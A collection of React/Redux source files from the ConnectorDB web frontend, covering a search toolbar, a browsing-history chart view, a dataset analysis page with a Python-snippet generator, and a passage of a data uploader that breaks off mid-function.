let erropts = {
color: "rgba(0,0,0,0.3)"
};
let erropts2 = {};
if (search.error != "") {
erropts = {
color: "yellow"
};
erropts2 = {
tooltip: search.error,
tooltipPosition: "bottom-right",
touch: true
};
}
return (
<Toolbar
style={{
height: `${spacing.desktopKeylineIncrement}px`,
backgroundColor: "#009e42",
boxShadow: "0px 2px 5px #888888",
position: "fixed",
width: "100%",
top: "0px",
zIndex: 999
}}
>
{this.props.navDocked
? null
: <ToolbarGroup firstChild={true}>
<IconButton
style={{
paddingLeft: "20px",
paddingRight: "40px"
}}
onTouchTap={this.props.hamburgerClick}
>
<FontIcon
className="material-icons"
color="#00662a"
style={{
fontSize: "80px"
}}
>
menu
</FontIcon>
</IconButton>
</ToolbarGroup>}
<ToolbarGroup
firstChild={this.props.navDocked}
style={Object.assign(
{},
styles.searchbar,
this.props.navDocked
? {
marginLeft: "266px"
}
: {
marginLeft: "10px"
}
)}
>
<IconButton {...erropts2}>
<FontIcon
{...erropts}
className="material-icons"
style={{
marginTop: "-5px"
}}
>
{search.error ? "error_outline" : search.icon}
</FontIcon>
</IconButton>
<AutoComplete
disabled={!search.enabled}
hintText={search.hint}
filter={AutoComplete.noFilter}
textFieldStyle={{
fontWeight: "bold"
}}
menuStyle={{
background: "#009e42"
}}
listStyle={{
color: "white"
}}
inputStyle={{
color: "white"
}}
hintStyle={{
overflow: "hidden",
height: "25px",
bottom: "10px"
}}
fullWidth={true}
underlineShow={false}
open={search.error != ""}
searchText={search.text}
dataSource={search.autocomplete}
onUpdateInput={this.props.searchTextChanged}
onNewRequest={this.keypress.bind(this)}
/>
{" "}
{search.text == ""
? null
: <FontIcon
className="material-icons"
style={{
paddingRight: "10px"
}}
onTouchTap={() => this.props.searchTextChanged("", null)}
>
close
</FontIcon>}
</ToolbarGroup>
<ToolbarGroup
style={{
marginLeft: "-10px",
marginRight: "-20px"
}}
>
<IconMenu
iconButtonElement={<IconButton> <MoreVertIcon /> </IconButton>}
anchorOrigin={{
horizontal: "right",
vertical: "bottom"
}}
targetOrigin={{
horizontal: "right",
vertical: "top"
}}
>
{this.props.menu.map(link => {
return (
<MenuItem
key={link.title}
primaryText={link.title}
leftIcon={
<FontIcon className="material-icons">
{" "}{link.icon}{" "}
</FontIcon>
}
onTouchTap={() => link.action(this.props.dispatch)}
/>
);
})}
</IconMenu>
</ToolbarGroup>
</Toolbar>
);
}
}
export default connect(
state => ({ search: getSearchState(state), menu: state.site.dropdownMenu }),
(dispatch, props) => ({
searchTextChanged: (txt, e) => dispatch(setSearchText(txt)),
submit: () => dispatch(getSearchActionContext({ type: "SUBMIT" })),
clearError: () =>
dispatch(getSearchActionContext({ type: "SET_ERROR", value: "" })),
dispatch: dispatch
})
)(TopBar);
<file_sep>/*
WebHistoryView shows a visualization of URLs visited. This component was built
mainly to interact with the chrome extension.
*/
import { addView } from "../datatypes";
import { generateBarChart } from "./components/BarChart";
import { generateLineChart } from "./components/LineChart";
import {
generateDropdownLineChart,
generateTimeOptions
} from "./components/DropdownLineChart";
// http://stackoverflow.com/questions/5717093/check-if-a-javascript-string-is-a-url
var urlchecker = new RegExp(
"^(https?:\\/\\/)?" + // protocol
"((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.?)+[a-z]{2,}|" + // domain name
"((\\d{1,3}\\.){3}\\d{1,3}))" + // OR ip (v4) address
"(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*" + // port and path
"(\\?[;&a-z\\d%_.~+=-]*)?" + // query string
"(\\#[-a-z\\d_]*)?$",
"i"
); // fragment locator
var urlView = {
key: "urlView",
title: "Most Common Domains",
subtitle: ""
};
function showHistoryView(context) {
if (context.data.length < 5 || context.pipescript === null) {
return null;
}
var view = [];
var d = context.data;
var hasUrlProperty = true;
var isUrl = true;
var hasTitle = true;
// First, we check if the data is directly of type URL. In this case,
// we add a bar chart of the URLs. We only check 5 points on each side
if (d.length < 10) {
for (let i = 0; i < d.length; i++) {
if (typeof d[i].d === "string") {
hasUrlProperty = false;
hasTitle = false;
if (!urlchecker.test(d[i].d)) isUrl = false;
} else if (typeof d[i].d === "object") {
isUrl = false;
if (!("url" in d[i].d)) hasUrlProperty = false;
if (!("title" in d[i].d)) hasTitle = false;
} else {
isUrl = false;
hasUrlProperty = false;
hasTitle = false;
}
}
} else {
for (let i = 0; i < 5; i++) {
if (typeof d[i].d === "string") {
hasUrlProperty = false;
hasTitle = false;
if (!urlchecker.test(d[i].d)) isUrl = false;
} else if (typeof d[i].d === "object") {
isUrl = false;
if (!("url" in d[i].d)) hasUrlProperty = false;
if (!("title" in d[i].d)) hasTitle = false;
} else {
isUrl = false;
hasUrlProperty = false;
hasTitle = false;
}
}
for (let i = d.length - 5; i < d.length; i++) {
if (typeof d[i].d === "string") {
hasUrlProperty = false;
hasTitle = false;
if (!urlchecker.test(d[i].d)) isUrl = false;
} else if (typeof d[i].d === "object") {
isUrl = false;
if (!("url" in d[i].d)) hasUrlProperty = false;
if (!("title" in d[i].d)) hasTitle = false;
} else {
isUrl = false;
hasUrlProperty = false;
hasTitle = false;
}
}
}
if (isUrl) {
view.push({
...generateBarChart(
"map(domain,count) | top(20)",
"Shows which domains were most frequenly visited"
),
...urlView
});
} else if (hasUrlProperty) {
view.push({
...generateBarChart(
"$('url') | map(domain,count) | top(20)",
"Shows which domains were most frequenly visited"
),
...urlView
});
}
if (hasUrlProperty && hasTitle) {
// If it has the URL property, check if it also has titlebar
view.push({
...generateLineChart("$('title') | sentiment"),
key: "urlTitleSentiment",
title: "Website Titlebar Sentiment",
subtitle: ""
});
view.push({
...generateDropdownLineChart(
"This view averages the sentiment values over the chosen time period.",
generateTimeOptions("Average", "$('title') | sentiment", "mean"),
1
),
key: "averagedSentimentViewTitlebar",
title: "Averaged Sentiment",
subtitle: ""
});
}
return view;
}
addView(showHistoryView);
<file_sep>/*
This is the main navigator shown for streams. This component chooses the correct page to set based upon the data
it is getting (shows loading page if the user/device/stream are not ready).
The component also performs further routing based upon the hash. This is because react-router does not
support both normal and hash-based routing at the same time.
All child pages are located in ./pages. This component can be throught of as an extension to the main app routing
done in App.js, with additional querying for the user/device/stream we want to view.
It also queries the user/device/stream-specific state from redux, so further children can just use the state without worrying
about which user/device/stream it belongs to.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { getStreamState } from "./reducers/stream";
import connectStorage from "./connectStorage";
import Error from "./components/Error";
import Loading from "./components/Loading";
import StreamView from "./pages/StreamView";
import StreamEdit from "./pages/StreamEdit";
import { setTitle } from "./util";
function setStreamTitle(user, device, stream) {
setTitle(
user == null || device == null || stream == null
? ""
: user.name + "/" + device.name + "/" + stream.name
);
}
class Stream extends Component {
static propTypes = {
user: PropTypes.object,
device: PropTypes.object,
stream: PropTypes.object,
error: PropTypes.object,
location: PropTypes.object.isRequired,
state: PropTypes.object
};
componentDidMount() {
setStreamTitle(this.props.user, this.props.device, this.props.stream);
}
componentWillReceiveProps(newProps) {
if (
newProps.user !== this.props.user ||
newProps.device !== this.props.device ||
newProps.stream !== this.props.stream
) {
setStreamTitle(newProps.user, newProps.device, newProps.stream);
}
}
render() {
if (this.props.error != null) {
return <Error err={this.props.error} />;
}
if (
this.props.user == null ||
this.props.device == null ||
this.props.stream == null
) {
// Currently querying
return <Loading />;
}
// React router does not allow using hash routing, so we route by hash here
switch (this.props.location.hash) {
case "#edit":
return (
<StreamEdit
user={this.props.user}
device={this.props.device}
stream={this.props.stream}
state={this.props.state.edit}
/>
);
}
return (
<StreamView
user={this.props.user}
device={this.props.device}
stream={this.props.stream}
state={this.props.state.view}
/>
);
}
}
export default connectStorage(
connect((store, props) => ({
state: getStreamState(
props.user != null && props.device != null && props.stream != null
? props.user.name + "/" + props.device.name + "/" + props.stream.name
: "",
store
)
}))(Stream),
false,
false
);
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { RadioButton, RadioButtonGroup } from "material-ui/RadioButton";
import "codemirror/lib/codemirror.css";
import "codemirror/theme/monokai.css";
import CodeMirror from "react-codemirror";
import "codemirror/mode/javascript/javascript";
class SchemaEditor extends Component {
static propTypes = {
value: PropTypes.string.isRequired,
defaultSchemas: PropTypes.arrayOf(PropTypes.object).isRequired,
onChange: PropTypes.func.isRequired
};
render() {
return (
<div>
<h3>JSON Schema</h3>
<p>
The schema that the data within the stream will conform to. This
cannot be changed after creating the stream.
<a href="http://json-schema.org/examples.html">Learn more here...</a>
</p>
<RadioButtonGroup
name="schema"
valueSelected={this.props.value}
onChange={this.props.onChange}
>
{this.props.defaultSchemas.map(s => {
let schemaString = JSON.stringify(s.schema);
return (
<RadioButton
value={schemaString}
key={schemaString}
label={s.description}
/>
);
})}
</RadioButtonGroup>
<div
style={{
marginTop: "10px",
border: "1px solid black",
width: "80%",
maxWidth: "300px",
textAlign: "left"
}}
>
<CodeMirror
value={this.props.value}
onChange={txt => this.props.onChange(undefined, txt)}
options={{
mode: "application/json",
lineWrapping: true
}}
/>
</div>
</div>
);
}
}
export default connect(state => ({
defaultSchemas: state.site.defaultschemas
}))(SchemaEditor);
<file_sep># datatypes
This directory contains the code modules used to display and view all of the data in ConnectorDB.
There are 3 types of modules:
- **creators** - special code used to create streams. It allows setting defaults and showing custom components for stream creation.
- **inputs** - allows showing custom input components by datatype. Being able to input star ratings by clicking on stars is exactly the type of thing these do (in particular the rating.stars plugin)
- **views** - ALL of the frontend's visualizations. Every method of plotting or viewing your data is a plugin located in views
<file_sep>import React, { Component } from "react";
import { connect } from "react-redux";
import { bindActionCreators } from "redux";
import { TimePicker } from "../components/QueryRange";
import TransformInput from "../components/TransformInput";
import Loading from "../components/Loading";
import ExpandableCard from "../components/ExpandableCard";
import FlatButton from "material-ui/FlatButton";
import TextField from "material-ui/TextField";
import SelectField from "material-ui/SelectField";
import MenuItem from "material-ui/MenuItem";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import DataView from "../components/DataView";
import * as Actions from "../actions/analysis";
import SearchCard from "../components/SearchCard";
import { setSearchSubmit, setSearchState } from "../actions";
const Interpolator = ({ value, onChange }) => (
<SelectField
value={value}
onChange={(e, i, v) => onChange(v)}
style={{ width: "100%" }}
>
<MenuItem value={"closest"} primaryText="closest" />
<MenuItem value={"before"} primaryText="before" />
<MenuItem value={"after"} primaryText="after" />
<MenuItem value={"count"} primaryText="count" />
<MenuItem value={"mean"} primaryText="mean" />
<MenuItem value={"sum"} primaryText="sum" />
</SelectField>
);
const DatasetStream = ({ name, state, setState }) => (
<div className="row">
<div className="col-lg-4">
<h5
style={{
paddingTop: "10px",
fontWeight: "bold"
}}
>
Interpolated Stream ({name})
</h5>
<TextField
style={{ width: "100%" }}
id={name + "_dataset_text_field"}
hintText="user/device/stream"
value={state.stream}
onChange={e => setState({ stream: e.target.value })}
/>
</div>
<div className="col-lg-5">
<h5
style={{
paddingTop: "10px"
}}
>
Transform
</h5>
<TransformInput
transform={state.transform}
onChange={txt => setState({ transform: txt })}
/>
</div>
<div className="col-lg-3">
<h5
style={{
paddingTop: "10px"
}}
>
Interpolator
</h5>
<Interpolator
value={state.interpolator}
onChange={v => setState({ interpolator: v })}
/>
</div>
</div>
);
const XDataset = ({ state, actions }) => (
<div className="row">
<div className="col-md-4">
<h5
style={{
paddingTop: "10px",
fontWeight: "bold"
}}
>
Reference Stream (x)
</h5>
<TextField
id={"X_dataset_text_field"}
hintText="user/device/stream"
style={{ width: "100%" }}
value={state.stream}
onChange={e => actions.setState({ stream: e.target.value })}
/>
</div>
<div className="col-md-8">
<h5
style={{
paddingTop: "10px"
}}
>
Transform<a
className="pull-right"
style={{
cursor: "pointer"
}}
onClick={() => actions.setState({ xdataset: false })}
>
Switch to T-Dataset
</a>
</h5>
<TransformInput
transform={state.transform}
onChange={txt => actions.setState({ transform: txt })}
/>
</div>
</div>
);
const TDataset = ({ state, actions }) => (
<div className="row" style={{ paddingTop: "10px" }}>
<div className="col-md-2">
<h5
style={{
paddingTop: "10px",
fontWeight: "bold"
}}
>
Time Delta
</h5>
</div>
<div className="col-md-4">
<TextField
id={"DT"}
style={{ width: "100%" }}
value={state.dt}
onChange={e => actions.setState({ dt: e.target.value })}
/>
</div>
<div className="col-md-3">
<SelectField
value={state.dt}
onChange={(e, i, v) => actions.setState({ dt: v })}
style={{ width: "100%" }}
>
<MenuItem value={"1"} primaryText="1 second" />
<MenuItem value={"60"} primaryText="1 minute" />
<MenuItem value={"60*30"} primaryText="30 minutes" />
<MenuItem value={"60*60"} primaryText="1 hour" />
<MenuItem value={"60*60*6"} primaryText="6 hours" />
<MenuItem value={"60*60*12"} primaryText="12 hours" />
<MenuItem value={"60*60*24"} primaryText="1 day" />
<MenuItem value={"60*60*24*7"} primaryText="1 week" />
<MenuItem value={"60*60*24*15"} primaryText="15 days" />
<MenuItem value={"60*60*24*30"} primaryText="30 days" />
<MenuItem value={"60*60*24*365"} primaryText="1 year" />
</SelectField>
</div>
<div className="col-md-3">
<h5>
<a
className="pull-right"
style={{
cursor: "pointer"
}}
onClick={() => actions.setState({ xdataset: true })}
>
Switch to X-Dataset
</a>
</h5>
</div>
</div>
);
/**
* Component to display the analysis form, from which you can generate a query for analysis,
* and run the query
* @param {state, action} the state and action objects for component control
*/
const AnalysisQuery = ({ state, actions }) => (
<ExpandableCard
state={state}
width="full"
setState={actions.setState}
title="Analyze Data Streams"
subtitle="Correlate datasets involving multiple streams"
icons={[
<IconButton
key="clearanalysis"
onTouchTap={actions.clear}
tooltip="Clear Analysis"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
clear_all
</FontIcon>
</IconButton>,
<IconButton
key="pythoncode"
onTouchTap={actions.showPython}
tooltip="Show Python Code"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
code
</FontIcon>
</IconButton>
]}
>
<TimePicker state={state} setState={actions.setState} />
{state.xdataset
? <XDataset state={state} actions={actions} />
: <TDataset state={state} actions={actions} />}
{Object.keys(state.dataset).map(k => (
<DatasetStream
key={k}
name={k}
state={state.dataset[k]}
setState={v => actions.setDatasetState(k, v)}
/>
))}
<div>
<IconButton tooltip="Add Stream" onTouchTap={actions.addDatasetStream}>
<FontIcon
className="material-icons"
color={Object.keys(state.dataset).length >= 10 ? "grey" : "black"}
>
add
</FontIcon>
</IconButton>
<IconButton
tooltip="Remove Stream"
onTouchTap={actions.removeDatasetStream}
>
<FontIcon
className="material-icons"
color={Object.keys(state.dataset).length == 1 ? "grey" : "black"}
>
remove
</FontIcon>
</IconButton>
</div>
<h5
style={{
paddingTop: "10px"
}}
>
Server-Side Transform to Run After Generating Dataset
</h5>
<TransformInput
transform={state.posttransform}
onChange={txt => actions.setState({ posttransform: txt })}
/>
<FlatButton
style={{
float: "right"
}}
primary={true}
label="Generate Dataset"
onTouchTap={() => actions.query()}
/> {state.error !== null
? <p
style={{
paddingTop: "10px",
color: "red"
}}
>
{state.error}
</p>
: <p
style={{
paddingTop: "10px"
}}
>
Learn about datasets
{" "}
<a href="https://connectordb.io/docs/datasets/">{" "}here</a>
{", "}
and transforms
<a href="https://connectordb.io/docs/pipescript/">{" "}here.</a>
</p>}
</ExpandableCard>
);
/**
* Render controls the display of the entire analysis page.
* The associated reducer and saga are in their corresponding directories
*
*/
const Render = ({ state, actions, transformError, clearTransform }) => (
<div>
{state.search.submitted != null && state.search.submitted != ""
? <SearchCard
title={state.search.submitted}
subtitle={"Transform applied to data"}
onClose={clearTransform}
/>
: null}
<DataView
data={state.data}
transform={state.search.submitted}
transformError={transformError}
>
<AnalysisQuery state={state} actions={actions} />
{state.loading ? <div className="col-lg-12"><Loading /></div> : null}
</DataView>
</div>
);
export default connect(
state => ({ state: state.pages.analysis }),
dispatch => ({
actions: bindActionCreators(Actions, dispatch),
clearTransform: () => dispatch(setSearchSubmit("")),
transformError: txt => dispatch(setSearchState({ error: txt }))
})
)(Render);
<file_sep>// ObjectCard is a card that holds the properties shared between users/devices/Streams
// it is the main card that shows up when you query a user/device/stream, and allows
// you to expand, click to edit, etc.
// Since the specific components are different for the different object types, this card
// allows children which will display the properties however they want - it only handles shared properties.
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader } from "material-ui/Card";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import storage from "../storage";
import AvatarIcon from "./AvatarIcon";
import "../util";
class ObjectCard extends Component {
static propTypes = {
expanded: PropTypes.bool.isRequired,
onEditClick: PropTypes.func.isRequired,
onExpandClick: PropTypes.func.isRequired,
object: PropTypes.object.isRequired,
path: PropTypes.string.isRequired,
style: PropTypes.object
};
render() {
let obj = this.props.object;
let nickname = obj.name.capitalizeFirstLetter();
if (obj.nickname !== undefined && obj.nickname != "") {
nickname = obj.nickname;
}
let showedit = obj["user_editable"] === undefined || obj["user_editable"];
return (
<Card
style={this.props.style}
onExpandChange={this.props.onExpandClick}
expanded={this.props.expanded}
>
<CardHeader
title={nickname}
subtitle={this.props.path}
showExpandableButton={true}
avatar={<AvatarIcon name={obj.name} iconsrc={obj.icon} />}
>
{this.props.expanded
? <div
style={{
float: "right",
marginRight: 35,
marginTop: "-5px",
marginLeft: "-300px"
}}
>
{showedit
? <IconButton
onTouchTap={() => this.props.onEditClick(true)}
tooltip="edit"
>
<FontIcon
className="material-icons"
color="rgba(0,0,0,0.8)"
>
edit
</FontIcon>
</IconButton>
: null}
<IconButton
onTouchTap={() => storage.qls(this.props.path)}
tooltip="reload"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
refresh
</FontIcon>
</IconButton>
</div>
: null}
</CardHeader>
<CardText expandable={true}>
{obj.description == ""
? null
: <div
style={{
color: "grey"
}}
>
{obj.description}
</div>}
{this.props.children}
</CardText>
</Card>
);
}
}
export default ObjectCard;
<file_sep>// The analysis page is where you generate visualizations of datasets from your data
import moment from "moment";
import { AnalysisSearchInitialState, analysisSearchReducer } from "./search";
const DatasetStreamInitialState = {
stream: "",
transform: "",
interpolator: "closest",
allownil: false
};
export const AnalysisPageInitialState = {
posttransform: "",
transform: "",
t1: moment().subtract(30, "days"),
t2: moment().endOf("day"),
limit: 100000,
stream: "",
dataset: {
y: DatasetStreamInitialState
},
error: null,
views: {},
loading: false,
data: [],
xdataset: true,
dt: "60*60*24",
search: AnalysisSearchInitialState
};
export default function AnalysisPageReducer(state, action) {
if (action.type.startsWith("ANALYSIS_SEARCH_"))
return {
...state,
search: analysisSearchReducer(state.search, action)
};
let k = Object.keys(state.dataset).length;
let d = {
...state.dataset
};
switch (action.type) {
case "ANALYSIS_STATE":
return {
...state,
...action.value,
error: null
};
case "DATASET_STATE":
d[action.key] = {
...state.dataset[action.key],
...action.value
};
return {
...state,
dataset: d,
error: null
};
case "ANALYSIS_CLEAR":
return AnalysisPageInitialState;
case "ANALYSIS_LOADING":
return {
...state,
loading: action.value
};
case "ANALYSIS_ERROR":
return {
...state,
error: action.value
};
case "SHOW_DATASET":
return {
...state,
data: action.value,
loading: false,
error: null
};
case "ADD_DATASET_STREAM":
// When adding a stream, we need to name it correctly. We go Z,A,B,C,...
if (k == 1) {
d["z"] = DatasetStreamInitialState;
} else if (k < 10) {
d[
String.fromCharCode("a".charCodeAt(0) + k - 2)
] = DatasetStreamInitialState;
}
return {
...state,
dataset: d
};
case "REMOVE_DATASET_STREAM":
if (k < 2) {
// do nothing
} else if (k == 2) {
delete d["z"];
} else {
delete d[String.fromCharCode("a".charCodeAt(0) + k - 3)];
}
return {
...state,
dataset: d
};
}
return state;
}
<file_sep>import { delay } from "redux-saga";
import { put, select, takeLatest } from "redux-saga/effects";
import storage from "../storage";
import { cdbPromise } from "../util";
import math from "mathjs";
/**
* Validates and queries ConnectorDB for a dataset. Shows errors if necessary.
*/
function* query(action) {
// First, validate all fields
let analysis = yield select(state => state.pages.analysis);
// Do the same for each element of the dataset
let datasetKeys = Object.keys(analysis.dataset);
for (let i = 0; i < datasetKeys.length; i++) {
let currentdataset = analysis.dataset[datasetKeys[i]];
if (
currentdataset.stream.length === 0 ||
currentdataset.stream.split("/").length != 3
) {
yield put({
type: "ANALYSIS_ERROR",
value: "Invalid stream name (" + datasetKeys[i] + ")"
});
return;
}
}
// This is the format in which the ConnectorDB server expects a query
let query = {
posttransform: analysis.posttransform,
dataset: analysis.dataset,
t1: analysis.t1.unix(),
t2: analysis.t2.unix(),
limit: 0,
allownil: false
};
if (analysis.xdataset) {
if (
analysis.stream.length === 0 || analysis.stream.split("/").length != 3
) {
yield put({
type: "ANALYSIS_ERROR",
value: "Invalid correlation stream name"
});
return;
}
query.stream = analysis.stream;
query.transform = analysis.transform;
} else {
// Make sure that dt is a number
try {
let dt = math.eval(analysis.dt);
if (isNaN(dt) || dt < 0.001) {
yield put({
type: "ANALYSIS_ERROR",
value: "Invalid time delta (" + analysis.dt + ")"
});
return;
}
query.dt = dt;
} catch (e) {
yield put({
type: "ANALYSIS_ERROR",
value: "Invalid time delta (" + analysis.dt + ")"
});
return;
}
}
// Alright, validation complete. Let's query for the dataset
yield put({ type: "SHOW_DATASET", value: [] }); // First clear any data that might be there
yield put({ type: "ANALYSIS_LOADING", value: true }); // Next turn loading on
try {
let dataset = yield cdbPromise(
storage.cdb._doRequest("query/dataset", "POST", query),
5 * 60 * 1000
);
yield put({ type: "SHOW_DATASET", value: dataset });
} catch (err) {
console.log(err);
yield put({ type: "ANALYSIS_ERROR", value: err.toString() });
yield put({ type: "ANALYSIS_LOADING", value: false });
}
}
import React from "react";
import "codemirror/lib/codemirror.css";
import "codemirror/theme/monokai.css";
import CodeMirror from "react-codemirror";
import "codemirror/mode/python/python";
function* showPython(action) {
let analysis = yield select(state => state.pages.analysis);
let username = yield select(state => state.site.thisUser.name);
let interpolations = "";
let datasetKeys = Object.keys(analysis.dataset);
for (let i = 0; i < datasetKeys.length; i++) {
let currentdataset = analysis.dataset[datasetKeys[i]];
interpolations =
interpolations +
`d.addStream("${currentdataset.stream}","${currentdataset.interpolator}",` +
(currentdataset.transform != ""
? `transform=${JSON.stringify(currentdataset.transform)},`
: "") +
`colname="${datasetKeys[i]}")` +
"\n";
}
let pythoncode =
`import connectordb
from connectordb.query import Dataset
import getpass
p = getpass.getpass()
cdb = connectordb.ConnectorDB("${username}",p,url="${SiteURL}")
d = Dataset(cdb,${analysis.xdataset ? '"' + analysis.stream + '"' : "dt=" + analysis.dt},t1=${analysis.t1.unix()},t2=${analysis.t2.unix()}` +
(analysis.transform == "" || !analysis.xdataset
? ""
: `,
transform=${JSON.stringify(analysis.transform)}`) +
(analysis.posttransform == ""
? ""
: `,
posttransform=${JSON.stringify(analysis.posttransform)}`) +
")\n" +
interpolations +
`
data = d.run()
`;
yield put({
type: "SHOW_DIALOG",
value: {
title: "Python Code",
open: true,
contents: (
<div>
<CodeMirror
value={pythoncode}
options={{
mode: "text/x-python",
lineWrapping: true,
readOnly: true
}}
/>
<a
style={{ float: "right" }}
href="http://connectordb-python.readthedocs.io/en/latest/"
>
Python API Docs
</a>
</div>
)
}
});
}
// This should move to a different file at some point
function* showPythonQuery(action) {
let stream = yield select(state => state.stream[action.value].view);
let username = yield select(state => state.site.thisUser.name);
let varname = action.value.split("/")[2];
let pythoncode = `import connectordb
import getpass
p = getpass.getpass()
cdb = connectordb.ConnectorDB("${username}",p,url="${SiteURL}")
${varname} = cdb("${action.value}")
`;
if (!stream.bytime && stream.transform == "") {
pythoncode += `data = ${varname}[${stream.i1}:${stream.i2}]`;
} else if (!stream.bytime && stream.transform != "") {
pythoncode += `data = ${varname}(i1=${stream.i1},i2=${stream.i2},transform=${JSON.stringify(stream.transform)})`;
} else {
// by time
pythoncode +=
`data = ${varname}(t1=${stream.t1.unix()},t2=${stream.t2.unix()}` +
(stream.transform != ""
? `,transform=${JSON.stringify(stream.transform)}`
: "") +
")";
}
yield put({
type: "SHOW_DIALOG",
value: {
title: "Python Code",
open: true,
contents: (
<div>
<CodeMirror
value={pythoncode}
options={{
mode: "text/x-python",
lineWrapping: true,
readOnly: true
}}
/>
<a
style={{ float: "right" }}
href="http://connectordb-python.readthedocs.io/en/latest/"
>
Python API Docs
</a>
</div>
)
}
});
}
// Our watcher Saga: spawn a new incrementAsync task on each INCREMENT_ASYNC
export default function* analysisSaga() {
yield takeLatest("DATASET_QUERY", query);
yield takeLatest("SHOW_ANALYSIS_CODE", showPython);
yield takeLatest("SHOW_QUERY_CODE", showPythonQuery);
}
<file_sep>import { delay } from "redux-saga";
import { put, select, takeLatest } from "redux-saga/effects";
import moment from "moment";
import storage from "../storage";
import { ConnectorDB } from "connectordb";
import { cdbPromise } from "../util";
import { go } from "../actions";
import { UploaderPageInitialState } from "../reducers/uploaderPage";
var filterFloat = function(value) {
if (/^(\-|\+)?([0-9]+(\.[0-9]+)?|Infinity)$/.test(value.trim()))
return Number(value.trim());
return NaN;
};
function isNumeric(n) {
return !isNaN(filterFloat(n));
}
function parseData(d) {
if (typeof d === "string") {
let s = d.trim();
if (isNumeric(s)) {
return parseFloat(s);
}
if (s == "true" || s == "True") {
return true;
}
if (s == "false" || s == "False") {
return false;
}
if (s === "" || s == "null") {
return null;
}
}
return d;
}
function canParseTimestamp(ts, timeformat) {
console.log("Checking if can parse: ", ts);
if (typeof ts !== "string" || isNumeric(ts)) {
return moment.unix(parseFloat(ts)).isAfter("1985-01-01");
}
if (timeformat !== "") {
return moment(ts, timeformat).isValid();
}
return moment(ts).isValid();
}
function* process(action) {
let uploader = yield select(state => state.pages.uploader);
let txt = uploader.part1.rawdata;
let transform = uploader.part2.transform.trim();
let timeformat = uploader.part1.timeformat.trim();
if (txt.trim() === UploaderPageInitialState.part1.rawdata.trim()) {
yield put({
type: "UPLOADER_PART2",
value: { error: "Please paste your dataset first." }
});
}
// We have the text of the data. Let's try to process it
let data = [];
// Whether the data was csv-formatted
let isCSV = false;
// Clear the error
yield put({ type: "UPLOADER_PART2", value: { error: "" } });
try {
data = JSON.parse(txt);
// Holy crap, the data was JSON...
} catch (e) {
// The data is NOT JSON. We assume it is CSV, and let PapaParse do its magic :)
let result = Papa.parse(txt, { skipEmptyLines: true, header: true });
if (result.errors.length > 0) {
console.log("Parsing Error:", result);
yield put({
type: "UPLOADER_PART2",
value: { error: result.errors[0].message }
});
return;
}
data = result.data;
isCSV = true;
}
console.log("Data before processing", data);
if (data.length == 0) {
yield put({ type: "UPLOADER_PART2", value: { error: "No data found" } });
}
let d = data[0];
let keys = Object.keys(d);
if (keys.length <= 1) {
yield put({
type: "UPLOADER_PART2",
value: { error: "Datapoints need to have timestamp and data fields" }
});
return;
}
// First, let's process the field names, so they are cleaned up. We remove capitalized fields,
// since by default, fields are lowercase in ConnectorDB
// We also start looking for timestamps in order:
// If we are given a timestamp field, we're done.
// If 'timestamp' is a field, and can be parsed as a timestamp, it is automatically chosen as 'the' timestamp field
// if 't' is a field, and can be parsed as either a timestamp or a unix time, it is chosen
// This is the data key we will use for the timestamp
let timestampKey = uploader.part1.fieldname.trim();
let fieldMap = {};
let hadFieldName = "";
let hadTimestamp = "";
let hadT = "";
let hadTime = "";
let hadDate = "";
for (let i = 0; i < keys.length; i++) {
let curkey = keys[i];
fieldMap[curkey] = curkey.trim().replace(/\s+/g, "_").toLowerCase();
if (fieldMap[curkey] === "timestamp") {
hadTimestamp = curkey;
}
if (fieldMap[curkey] === "time") {
hadTime = curkey;
}
if (fieldMap[curkey] === "t") {
hadT = curkey;
}
if (fieldMap[curkey] === "date") {
hadDate = curkey;
}
if (timestampKey !== "") {
if (curkey === timestampKey) {
hadFieldName = curkey;
}
if (fieldMap[curkey] === timestampKey) {
// We allow lowercased versions of the field name
hadFieldName = curkey;
}
}
}
if (timestampKey !== "") {
if (hadFieldName === "") {
yield put({
type: "UPLOADER_PART2",
value: { error: "Unable to find field name '" + timestampKey + "'" }
});
return;
}
timestampKey = hadFieldName;
} else if (hadTimestamp !== "") {
timestampKey = hadTimestamp;
if (!canParseTimestamp(d[timestampKey], timeformat)) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Unable to parse timestamps from '" + timestampKey + "'"
}
});
return;
}
} else if (hadTime !== "") {
timestampKey = hadTime;
if (!canParseTimestamp(d[timestampKey], timeformat)) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Unable to parse timestamps from '" + timestampKey + "'"
}
});
return;
}
} else if (hadDate !== "") {
timestampKey = hadDate;
if (!canParseTimestamp(d[timestampKey], timeformat)) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Unable to parse timestamps from '" + timestampKey + "'"
}
});
return;
}
} else if (hadT !== "") {
timestampKey = hadT;
if (!canParseTimestamp(d[timestampKey], timeformat)) {
yield put({
type: "UPLOADER_PART2",
value: {
error: "Unable to parse timestamps from '" + timestampKey + "'"
}
});
return;
}
} else {
// So there was no obvious timestamp field. Shame. We now look for a field that
// can be parsed as a timestamp. We first check for a field that is a string, and NOT a number
// since that means it is super likely to be a timestamp.
let tsfields = {};
for (let i = 0; i < keys.length; i++) {
if (typeof d[keys[i]] === "string" && !isNumeric(d[keys[i]])) {
let v = moment(d[keys[i]]);
if (v.isValid()) {
tsfields[keys[i]] = v;
}
}
}
if (Object.keys(tsfields).length != 0) {
// We found at least one timestamp field. We just return the first one.
// Because if the user has multiple, they can just set the field name to "timestamp"
// to force it to be chosen
timestampKey = Object.keys(tsfields)[0];
} else {
// No string timestamp fields. We now look for unix timestamps. We choose the best
// one by its proximity to 2018 - data that isn't timestamps usually won't
// be the closest number
let best = 0;
let bestKey = "";
for (let i = 0; i < keys.length; i++) {
if (isNumeric(d[keys[i]])) {
let dtime = parseFloat(d[keys[i]]);
if (Math.abs(dtime - 1514786400) < Math.abs(best - 1514786400)) {
best = dtime;
bestKey = keys[i];
}
